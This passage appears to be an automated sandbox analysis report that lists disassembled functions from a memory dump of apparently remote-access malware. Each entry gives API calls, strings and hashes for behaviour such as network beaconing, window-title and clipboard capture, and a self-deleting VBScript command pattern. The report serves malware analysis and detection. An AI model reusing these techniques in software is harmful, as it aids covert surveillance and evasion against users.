                                                        • Instruction ID: 3fce176daff91a8ac67d7e00268aa6ddaa8eb0a69c3dc15cdf5b3728eb075172
                                                        • Opcode Fuzzy Hash: 2a6cbd74b7f1d7262aabe967babe0c7563b8d160d0352d0a7d413315700012c3
                                                        • Instruction Fuzzy Hash: CCB1A1316083409BC314FB26C941AAFB7E5AFC4358F40492FF589622D2EF789945CB8B
                                                        Function 0040A761 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • Sleep.KERNEL32(00001388), ref: 0040A77B
                                                          • Part of subcall function 0040A6B0: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A788), ref: 0040A6E6
                                                          • Part of subcall function 0040A6B0: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A788), ref: 0040A6F5
                                                          • Part of subcall function 0040A6B0: Sleep.KERNEL32(00002710,?,?,?,0040A788), ref: 0040A722
                                                          • Part of subcall function 0040A6B0: CloseHandle.KERNEL32(00000000,?,?,?,0040A788), ref: 0040A729
                                                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A7B7
                                                        • GetFileAttributesW.KERNEL32(00000000), ref: 0040A7C8
                                                        • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7DF
                                                        • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 0040A859
                                                          • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C52F
                                                        • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466478,00000000,00000000,00000000), ref: 0040A962
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                        • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                                        • API String ID: 3795512280-1152054767
                                                        • Opcode ID: ff793148450d5445b41cee081077762d1b1ae7bc4452be26425da9ad383290d3
                                                        • Instruction ID: 2a79d88b44a8fc0b04dcb000ea34af81e4c48788ca5147296d011aa32960a087
                                                        • Opcode Fuzzy Hash: ff793148450d5445b41cee081077762d1b1ae7bc4452be26425da9ad383290d3
                                                        • Instruction Fuzzy Hash: B6516E716043015ACB15BB72C866ABE77AA9F80349F00483FF646B71E2DF7C9D09865E
                                                        Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • connect.WS2_32(?,?,?), ref: 004048E0
                                                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                                        • WSAGetLastError.WS2_32 ref: 00404A21
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                        • String ID: Connection Failed: $Connection Refused$PkGNG$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                        • API String ID: 994465650-3229884001
                                                        • Opcode ID: f8a90a434b368baa81854eed5f01dc5ff272a353476d3d54f953a4ddd85b29a4
                                                        • Instruction ID: 8b7d3ad86a52f8452b0ebae4faff6649d271d562dba2871a89d137605d3bb54b
                                                        • Opcode Fuzzy Hash: f8a90a434b368baa81854eed5f01dc5ff272a353476d3d54f953a4ddd85b29a4
                                                        • Instruction Fuzzy Hash: CE41E8B57506017BC61877BB890B52E7A56AB81308B50017FEA0256AD3FA7D9C108BEF
                                                        Function 00451346 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • ___free_lconv_mon.LIBCMT ref: 0045138A
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 0045059F
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 004505B1
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 004505C3
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 004505D5
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 004505E7
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 004505F9
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 0045060B
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 0045061D
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 0045062F
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 00450641
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 00450653
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 00450665
                                                          • Part of subcall function 00450582: _free.LIBCMT ref: 00450677
                                                        • _free.LIBCMT ref: 0045137F
                                                          • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?), ref: 00446818
                                                          • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                        • _free.LIBCMT ref: 004513A1
                                                        • _free.LIBCMT ref: 004513B6
                                                        • _free.LIBCMT ref: 004513C1
                                                        • _free.LIBCMT ref: 004513E3
                                                        • _free.LIBCMT ref: 004513F6
                                                        • _free.LIBCMT ref: 00451404
                                                        • _free.LIBCMT ref: 0045140F
                                                        • _free.LIBCMT ref: 00451447
                                                        • _free.LIBCMT ref: 0045144E
                                                        • _free.LIBCMT ref: 0045146B
                                                        • _free.LIBCMT ref: 00451483
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                        • String ID:
                                                        • API String ID: 161543041-0
                                                        • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                        • Instruction ID: 2428002f6fd8eb1a99257b9b861ac38f7c05b5b97acacff09fd9d8cf260fe807
                                                        • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                        • Instruction Fuzzy Hash: 403193715003009FEB20AA39D846F5B73E8EF02315F62992FE849D7662DF78AD44C729
                                                        Function 0040D83A Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041288B: TerminateProcess.KERNEL32(00000000,?,0040D84A), ref: 0041289B
                                                          • Part of subcall function 0041288B: WaitForSingleObject.KERNEL32(000000FF,?,0040D84A), ref: 004128AE
                                                          • Part of subcall function 00413733: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 0041374F
                                                          • Part of subcall function 00413733: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00413768
                                                          • Part of subcall function 00413733: RegCloseKey.ADVAPI32(?), ref: 00413773
                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D894
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000000), ref: 0040D9F3
                                                        • ExitProcess.KERNEL32 ref: 0040D9FF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                        • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                        • API String ID: 1913171305-3159800282
                                                        • Opcode ID: f9fb1c58427f12af755a52ca3692b6cbef369107a25d9b00b3b70057595488dd
                                                        • Instruction ID: 6f299f75ad759bd4c56b3f4cab90e5e1fe41ff60d22e8747b975e3d2bb757992
                                                        • Opcode Fuzzy Hash: f9fb1c58427f12af755a52ca3692b6cbef369107a25d9b00b3b70057595488dd
                                                        • Instruction Fuzzy Hash: 9B4129719001155ACB15FBA2DC56DEEB778AF50709F10017FB10AB21E2FF785E8ACA98
                                                        Function 00450680 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free
                                                        • String ID:
                                                        • API String ID: 269201875-0
                                                        • Opcode ID: eb0df5fda3918316229511e27b327a59e2685e6d7c39cee33e37fcee88581610
                                                        • Instruction ID: 80ca3ff3fa16d46db3e6ae4c9b8471dba03f652ca918f9f25067e0b92ee87d4d
                                                        • Opcode Fuzzy Hash: eb0df5fda3918316229511e27b327a59e2685e6d7c39cee33e37fcee88581610
                                                        • Instruction Fuzzy Hash: 30C183B6D40204ABEB20DBA9CC43FDE77F8AB09705F150166FE04EB283D6B49D459768
                                                        Function 00455C5B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00455929: CreateFileW.KERNEL32(00000000,00000000,?,00455D04,?,?,00000000,?,00455D04,00000000,0000000C), ref: 00455946
                                                        • GetLastError.KERNEL32 ref: 00455D6F
                                                        • __dosmaperr.LIBCMT ref: 00455D76
                                                        • GetFileType.KERNEL32(00000000), ref: 00455D82
                                                        • GetLastError.KERNEL32 ref: 00455D8C
                                                        • __dosmaperr.LIBCMT ref: 00455D95
                                                        • CloseHandle.KERNEL32(00000000), ref: 00455DB5
                                                        • CloseHandle.KERNEL32(?), ref: 00455EFF
                                                        • GetLastError.KERNEL32 ref: 00455F31
                                                        • __dosmaperr.LIBCMT ref: 00455F38
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                        • String ID: H
                                                        • API String ID: 4237864984-2852464175
                                                        • Opcode ID: 3e80e4deedef708004bf5c1f14aafc2c87dd9643035db764e93b071d2df20022
                                                        • Instruction ID: 7cd045c9b8f196398d23f94ba58010557f508cd7b58f44c29b3e784ccbbfb847
                                                        • Opcode Fuzzy Hash: 3e80e4deedef708004bf5c1f14aafc2c87dd9643035db764e93b071d2df20022
                                                        • Instruction Fuzzy Hash: 44A14532A106049FDF19AF68DC657BE3BA0EB06325F24015EEC11AB392D6398D1AC759
                                                        Function 0044ACC9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 216COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,tC,0043EA74,?,?,PkGNG,0044AF1A,00000001,00000001,A4E85006), ref: 0044AD23
                                                        • __alloca_probe_16.LIBCMT ref: 0044AD5B
                                                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,PkGNG,0044AF1A,00000001,00000001,A4E85006,?,?,?), ref: 0044ADA9
                                                        • __alloca_probe_16.LIBCMT ref: 0044AE40
                                                        • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,A4E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AEA3
                                                        • __freea.LIBCMT ref: 0044AEB0
                                                          • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435349,?,?,004388C7,?,?,00000000,00476B50,?,0040DE9D,00435349,?,?,?,?), ref: 004461EA
                                                        • __freea.LIBCMT ref: 0044AEB9
                                                        • __freea.LIBCMT ref: 0044AEDE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                        • String ID: PkGNG$tC
                                                        • API String ID: 3864826663-4196309852
                                                        • Opcode ID: a3cbb47ee8d45342a2f0fb6a002504832f0ae0c467949e665f7c3dc78735deda
                                                        • Instruction ID: de232b2c18f644b0009b05ef7aad101f1c584e700cc6948cb3d999d9ae9be8cc
                                                        • Opcode Fuzzy Hash: a3cbb47ee8d45342a2f0fb6a002504832f0ae0c467949e665f7c3dc78735deda
                                                        • Instruction Fuzzy Hash: 41514C72A80206AFFB258F64CC41EBF77A9DB44750F25462EFC14D7240EB38DC60869A
                                                        Function 00450AA5 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free
                                                        • String ID: \&G$\&G$`&G
                                                        • API String ID: 269201875-253610517
                                                        • Opcode ID: 0a05fa7fafc3926735f9ff598043b48751ea8cfb3e4d07056946ce3260a8f3c6
                                                        • Instruction ID: 59c4f5d9f803fa3be21c2588ad204ea2c1e8261bb9e1a4607c4596bf86990b35
                                                        • Opcode Fuzzy Hash: 0a05fa7fafc3926735f9ff598043b48751ea8cfb3e4d07056946ce3260a8f3c6
                                                        • Instruction Fuzzy Hash: 86610E75900205AFDB21DF69C842B9ABBF4EF06710F24426BED44EB242E774AD45CB58
                                                        Function 00414BEB Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 65535$udp
                                                        • API String ID: 0-1267037602
                                                        • Opcode ID: 92e56e7e39f2557d79d3192c533dec3724d183fd0175ec4c26052f24408cebce
                                                        • Instruction ID: a9902b4e2b63063b067a15c036b171ad6d3a8658db747517b03e91dd9f9ead29
                                                        • Opcode Fuzzy Hash: 92e56e7e39f2557d79d3192c533dec3724d183fd0175ec4c26052f24408cebce
                                                        • Instruction Fuzzy Hash: FB51D431605301ABDB609B14E905BFB77E8ABC5754F08042FF88597390E76CCCC1969E
                                                        Function 0040AD11 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __Init_thread_footer.LIBCMT ref: 0040AD73
                                                        • Sleep.KERNEL32(000001F4), ref: 0040AD7E
                                                        • GetForegroundWindow.USER32 ref: 0040AD84
                                                        • GetWindowTextLengthW.USER32(00000000), ref: 0040AD8D
                                                        • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 0040ADC1
                                                        • Sleep.KERNEL32(000003E8), ref: 0040AE8F
                                                          • Part of subcall function 0040A671: SetEvent.KERNEL32(?,?,00000000,0040B245,00000000), ref: 0040A69D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                        • String ID: [${ User has been idle for $ minutes }$]
                                                        • API String ID: 911427763-3954389425
                                                        • Opcode ID: a9d80c92317e710bb0ee7b8060ee11baa7f71990c7fa4e3373d3f7fac537cda3
                                                        • Instruction ID: 479ab846abdc3ffa357cf8cfb056c4a9d7a1c57035fbb5610920680a3dc8d5cf
                                                        • Opcode Fuzzy Hash: a9d80c92317e710bb0ee7b8060ee11baa7f71990c7fa4e3373d3f7fac537cda3
                                                        • Instruction Fuzzy Hash: 1251E2716043419BD714FB22D856AAE7795AF84308F10093FF986A22E2EF7C9D44C69F
                                                        Function 0040DA6F Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 0040DBD5
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: LongNamePath
                                                        • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                        • API String ID: 82841172-425784914
                                                        • Opcode ID: 9fc837d8cdd91ddad254a0e7a0cf26b33e0d7c4ac323512d933d46fc1d77c410
                                                        • Instruction ID: db29472287e64cad03ac4489520097095d7cef5d056ecb8d0020da3553efca3c
                                                        • Opcode Fuzzy Hash: 9fc837d8cdd91ddad254a0e7a0cf26b33e0d7c4ac323512d933d46fc1d77c410
                                                        • Instruction Fuzzy Hash: 0A4151715082019AC205F765DC96CAAB7B8AE90758F10053FB146B20E2FFBCAE4DC65B
                                                        Function 0043A8BA Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A912
                                                        • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A91F
                                                        • __dosmaperr.LIBCMT ref: 0043A926
                                                        • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A952
                                                        • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A95C
                                                        • __dosmaperr.LIBCMT ref: 0043A963
                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A9A6
                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A9B0
                                                        • __dosmaperr.LIBCMT ref: 0043A9B7
                                                        • _free.LIBCMT ref: 0043A9C3
                                                        • _free.LIBCMT ref: 0043A9CA
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                        • String ID:
                                                        • API String ID: 2441525078-0
                                                        • Opcode ID: 65e47024088546fc334146591d56820f873165bf99cfabfd31b4add3ed5f98c2
                                                        • Instruction ID: 3a2165a63a30732921e8d6571a772c998230e0148124485b419b79488018c54b
                                                        • Opcode Fuzzy Hash: 65e47024088546fc334146591d56820f873165bf99cfabfd31b4add3ed5f98c2
                                                        • Instruction Fuzzy Hash: 8631D5B180420AFBDF01AFA5CC45EAF3B6CEF09324F11451AF950662A1DB38CD61DB66
                                                        Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetEvent.KERNEL32(?,?), ref: 004054BF
                                                        • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040556F
                                                        • TranslateMessage.USER32(?), ref: 0040557E
                                                        • DispatchMessageA.USER32(?), ref: 00405589
                                                        • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                                        • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 00405679
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                        • String ID: CloseChat$DisplayMessage$GetMessage
                                                        • API String ID: 2956720200-749203953
                                                        • Opcode ID: 92a42e6f76523c23ad071d277faa5832b5c30b25a00b0af7c670b91f71b4b998
                                                        • Instruction ID: d37e718accd843302ceacc2187c81124e04698433963f5de03abd71ab6b9016f
                                                        • Opcode Fuzzy Hash: 92a42e6f76523c23ad071d277faa5832b5c30b25a00b0af7c670b91f71b4b998
                                                        • Instruction Fuzzy Hash: 39419071A04301ABCB14FB76DC5A86F37A9AB85704F40493EF516A31E1EF3C8905CB9A
                                                        Function 00417D1A Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00417F67: __EH_prolog.LIBCMT ref: 00417F6C
                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660B4), ref: 00417E17
                                                        • CloseHandle.KERNEL32(00000000), ref: 00417E20
                                                        • DeleteFileA.KERNEL32(00000000), ref: 00417E2F
                                                        • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DE3
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                                                        • String ID: 0VG$0VG$<$@$Temp
                                                        • API String ID: 1704390241-2575729100
                                                        • Opcode ID: 770267ec3d45abc508c60553e0d69256dfd3bd3466962ea0f4637c0737b4c84d
                                                        • Instruction ID: 01f79aac078c9204ae4226344def03f9678a0966abb138ad227abf0e83d93267
                                                        • Opcode Fuzzy Hash: 770267ec3d45abc508c60553e0d69256dfd3bd3466962ea0f4637c0737b4c84d
                                                        • Instruction Fuzzy Hash: 18417E319002099ACB14FB62DC56AEE7735AF00318F50417EF50A761E1EF7C5A8ACB99
                                                        Function 0041697B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenClipboard.USER32 ref: 0041697C
                                                        • EmptyClipboard.USER32 ref: 0041698A
                                                        • CloseClipboard.USER32 ref: 00416990
                                                        • OpenClipboard.USER32 ref: 00416997
                                                        • GetClipboardData.USER32(0000000D), ref: 004169A7
                                                        • GlobalLock.KERNEL32(00000000), ref: 004169B0
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 004169B9
                                                        • CloseClipboard.USER32 ref: 004169BF
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                        • String ID: !D@
                                                        • API String ID: 2172192267-604454484
                                                        • Opcode ID: da78ba80ec0729aaebbd7618c01a60a0d67124b513bef4f543176b1e835a0158
                                                        • Instruction ID: c3dc955394dadbf9cb8fa72aed918e4e170398eafb94270add22466952777bd7
                                                        • Opcode Fuzzy Hash: da78ba80ec0729aaebbd7618c01a60a0d67124b513bef4f543176b1e835a0158
                                                        • Instruction Fuzzy Hash: AA014C31204301EFC714BB72DC49AAE7BA5AF88742F40047EF906861E2DF388C45C659
                                                        Function 0041330D Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413452
                                                        • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413460
                                                        • GetFileSize.KERNEL32(?,00000000), ref: 0041346D
                                                        • UnmapViewOfFile.KERNEL32(00000000), ref: 0041348D
                                                        • CloseHandle.KERNEL32(00000000), ref: 0041349A
                                                        • CloseHandle.KERNEL32(?), ref: 004134A0
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                                        • String ID:
                                                        • API String ID: 297527592-0
                                                        • Opcode ID: 574f29b59094fb47ce71c879203f8806fd1a71798bcc0508934a1059045681f6
                                                        • Instruction ID: 84c8eec30da1abd4ec43dfc3561b6153623c17c5959ee0fa3a13cc5c00e14cc2
                                                        • Opcode Fuzzy Hash: 574f29b59094fb47ce71c879203f8806fd1a71798bcc0508934a1059045681f6
                                                        • Instruction Fuzzy Hash: F041F331104301BBD7119F25EC49F6B3BACEFC9769F10052EF655D21A2DB38DA40866E
                                                        Function 0041AB9E Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABAD
                                                        • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABC4
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABD1
                                                        • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABE0
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABF1
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABF4
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                        • String ID:
                                                        • API String ID: 221034970-0
                                                        • Opcode ID: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
                                                        • Instruction ID: a7ddf6af562b27afc3fdb57d9320cc893b1711f81dd6882f7bac22400d97ef93
                                                        • Opcode Fuzzy Hash: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
                                                        • Instruction Fuzzy Hash: 1411E931501218BFD711AF64DC85CFF3B6CDB41B66B000426FA0692191EB689D46AAFA
                                                        Function 004481A1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _free.LIBCMT ref: 004481B5
